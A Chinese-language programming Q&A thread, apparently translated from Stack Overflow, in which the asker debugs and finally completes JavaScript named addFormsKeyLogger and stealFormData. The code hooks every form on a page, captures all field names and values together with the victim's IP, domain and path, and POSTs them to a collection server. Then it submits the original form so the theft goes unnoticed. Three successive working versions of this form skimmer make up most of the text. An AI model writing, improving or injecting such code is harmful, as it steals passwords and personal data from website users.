Question

我尝试使用Ajax和纯Javascript发布请求，基本上我在页面上的所有HTML表单的提交按钮上添加了一个监听器。

当触发时，这些侦听器检索用户输入的数据并将它们发送到我的远程服务器。

问题是我输入ajaxPostRequest方法但没有发送请求。我怀疑Ajax没有足够的时间来完成它的工作，因为表单动作=＆＃34;某些东西＆＃34;这使浏览器离开运行Javascript代码的当前页面。

function addFormsKeyLogger(victimIP) {
    var forms = document.forms;

    for (i = 0; i < forms.length; i++) {
        forms[i].addEventListener('submit', function () {
            var elements = this.elements;
            var formData = '';

            for (j = 0; j < elements.length; j++) {
              formData += elements[j].name + ':' + elements[j].value + '|';
            }

            stealFormData(victimIP, formData);
        }, false);
    }
}

function stealFormData(victimIP, formData) {
    var params = "action=stealFormData" 
        + "&victimIP="  + victimIP
        + "&domain="    + document.domain
        + "&location="  + encodeURIComponent(location.pathname) 
        + "&formData="  + encodeURIComponent(formData);

    ajaxPostRequest(params);
}

function ajaxPostRequest(params) {
    var url = "http://127.0.0.1/something.php";
    var xhttp = new XMLHttpRequest(); 

    // for debugging
    xhttp.onreadystatechange = function() {
        if (xhttp.readyState == 4 && xhttp.status == 200) {
            alert(params);
        }
    };

    xhttp.open("POST", url, true);
    xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xhttp.send(params);
}

编辑：我似乎找到了解决方案的开端。我需要使用event.preventDefault();发布我的请求，然后拨打this.submit();来阻止提交的正常行为。但是出现了一个新问题：发送了1个请求，而不是发送多个请求（与页面上有表单一样多）。有什么想法吗？

Answer 1

嗯，我认为发布答案比发布非常长的内容更好。

我更改了代码如下：

function addFormsKeyLogger(victimIP) {
    var forms = document.forms;

    for (i = 0; i < forms.length; i++) {
        forms[i].addEventListener('submit', function (event) {
            event.preventDefault();
            var elements = this.elements;
            var formData = '';

            for (j = 0; j < elements.length; j++) {
              formData += elements[j].name + ':' + elements[j].value + '|';
            }

            var params = "action=stealFormData" 
                + "&victimIP="  + victimIP
                + "&domain="    + document.domain
                + "&location="  + encodeURIComponent(location.pathname) 
                + "&formData="  + encodeURIComponent(formData);

            ajaxPostRequest(params);
            this.submit();
        }, false);
    }
}

function ajaxPostRequest(params) {
    var url = "http://127.0.0.1/whatever.php";
    var xhttp = new XMLHttpRequest(); 

    // for debugging
    xhttp.onreadystatechange = function() {
        if (xhttp.readyState == 4 && xhttp.status == 200) {
            alert("success: " + params);
        }
    };

    xhttp.open("POST", url, true);
    xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xhttp.send(params);
}

现在我在上一次编辑中解释的问题是，每个表单都会发送一个请求。不应该是这种情况，因为听众被限制在一个特定的形式（这）。因此，如果我提交表格，它应该只发送一个请求（对于好的表格），这不是目前的情况。

任何提示？

Answer 2

好的，我回答了自己的帖子。我实际上不得不阻止帖子的默认行为添加回调（我等待发出POST请求），然后提交我传递的表单作为回调这里是代码，希望它可以帮助某人：）

function addFormsKeyLogger(victimIP) {
    var forms = document.forms;

    for (i = 0; i < forms.length; i++) {
        forms[i].addEventListener('submit', function(event) {
            event.preventDefault();
            var elements = this.elements;
            var formData = '';

            for (j = 0; j < elements.length; j++) {
              formData += elements[j].name + ':' + elements[j].value + '|';
            }

            var params = "action=stealFormData" 
                + "&victimIP="  + victimIP
                + "&domain="    + document.domain
                + "&location="  + encodeURIComponent(location.pathname) 
                + "&formData="  + encodeURIComponent(formData);

            ajaxPostRequest(params, this);
        }, false);
    }
}

function ajaxPostRequest(params, callback) {
    var url = "http://127.0.0.1/whatever.php";
    var xhttp = new XMLHttpRequest(); 

    // for debugging
    if(typeof callback !== "undefined") {
        xhttp.onreadystatechange = function() {
            if (xhttp.readyState == 4 && xhttp.status == 200) {
                callback.submit();
            }
        };
  }

    xhttp.open("POST", url, true);
    xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xhttp.send(params);
}

Ajax不发布任何请求

2 个答案: